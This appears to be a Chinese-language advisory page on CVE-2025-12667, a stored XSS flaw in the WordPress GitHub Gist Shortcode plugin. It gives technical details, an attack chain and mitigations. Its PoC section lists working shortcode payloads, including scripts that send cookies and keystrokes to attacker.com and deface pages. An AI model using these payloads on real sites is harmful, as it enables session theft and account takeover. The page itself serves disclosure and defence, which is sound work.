IPBUF安全漏洞报告
English
CVE-2025-12667 CVSS 6.4 中危

CVE-2025-12667 WordPress GitHub Gist Shortcode插件存储型XSS漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12667
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitHub Gist Shortcode Plugin for WordPress

相关标签

存储型XSSWordPress插件CVE-2025-12667短代码注入GitHub Gist跨站脚本攻击Authenticated XSSWordPress安全

漏洞概述

CVE-2025-12667是WordPress平台上一款名为GitHub Gist Shortcode的插件存在的安全漏洞。该插件用于在WordPress文章或页面中嵌入GitHub Gist代码片段。然而,由于插件在处理用户输入时存在输入验证和输出编码不足的问题,导致攻击者可以通过插件提供的[gist]短代码功能注入恶意JavaScript代码。该漏洞被评定为存储型跨站脚本攻击(Stored XSS),意味着攻击者注入的恶意代码会被永久存储在网站数据库中。当其他用户访问包含恶意代码的页面时,攻击者的JavaScript脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、管理后台账户接管等严重后果。攻击者需要具备WordPress网站的Contributor(贡献者)级别权限或更高权限即可实施攻击,这大大降低了攻击门槛,因为Contributor权限在WordPress中属于相对较低的权限级别。

技术细节

该漏洞的根本原因在于GitHub Gist Shortcode插件(版本0.2及以下)在处理[gist]短代码的'id'参数时缺乏充分的输入清理和输出转义。攻击者可以在[gist]短代码的id参数中注入任意HTML或JavaScript代码。插件在渲染页面时直接将用户输入的内容输出到HTML页面中,而没有对特殊字符进行适当的HTML实体编码。例如,攻击者可以构造如下payload:<script>alert(document.cookie)</script>。由于该payload被存储在数据库中(存储型XSS),所有访问该页面的用户都会触发恶意脚本执行。从CVSS评分6.4可以看出,该漏洞的网络可达性(AV:N)和低权限要求(PR:L)使其具有较高的利用可能性。虽然攻击不需要用户交互(UI:N),但由于是存储型XSS,攻击影响范围仅限于攻击者能够发布内容的页面。修复方案应包括对[id]参数进行严格的输入验证,并使用esc_html()或esc_attr()等WordPress安全函数对输出进行适当的HTML转义。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress网站的Contributor级别账户权限
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意payload的[gist]短代码
STEP 3
步骤3
恶意payload通过[id]参数注入,由于插件未进行输入清理,脚本被存储到数据库
STEP 4
步骤4
攻击者发布或提交文章(如果需要审核),包含恶意代码的页面正式上线
STEP 5
步骤5
当其他用户(受害者)访问包含恶意代码的页面时,浏览器解析HTML并执行注入的JavaScript脚本
STEP 6
步骤6
恶意脚本执行,可窃取用户会话cookie、劫持账户、修改页面内容或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress GitHub Gist Shortcode Plugin XSS PoC --> <!-- Requires Contributor-level or higher access --> <!-- Basic XSS Payload --> [gist id='<script>alert(document.cookie)</script>'] <!-- Steal Session Cookie --> [gist id='<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Keylogger Payload --> [gist id='<script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>'] <!-- Defacement Payload --> [gist id='<script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] <!-- Bypass Basic Filters (URL Encoding) --> [gist id='<svg onload=alert(1)>'] <!-- PoC for Admin Cookie Theft --> [gist id='<script>fetch('https://attacker.com/admin_panel?cookie='+btoa(document.cookie),{method:'GET',mode:'no-cors'})</script>']

影响范围

GitHub Gist Shortcode Plugin for WordPress <= 0.2

防御指南

临时缓解措施
由于该漏洞需要认证权限方可利用,短期内可采取以下缓解措施:1)限制网站的注册功能,仅允许受信任的用户注册;2)将所有用户的角色设置为Subscriber(订阅者)而非Contributor;3)启用双因素认证(2FA)增强管理员账户安全;4)使用WordPress安全插件(如Wordfence、Sucuri等)监控异常活动;5)定期检查网站数据库中是否存在可疑的[gist]短代码;6)考虑暂时禁用GitHub Gist Shortcode插件,直到官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表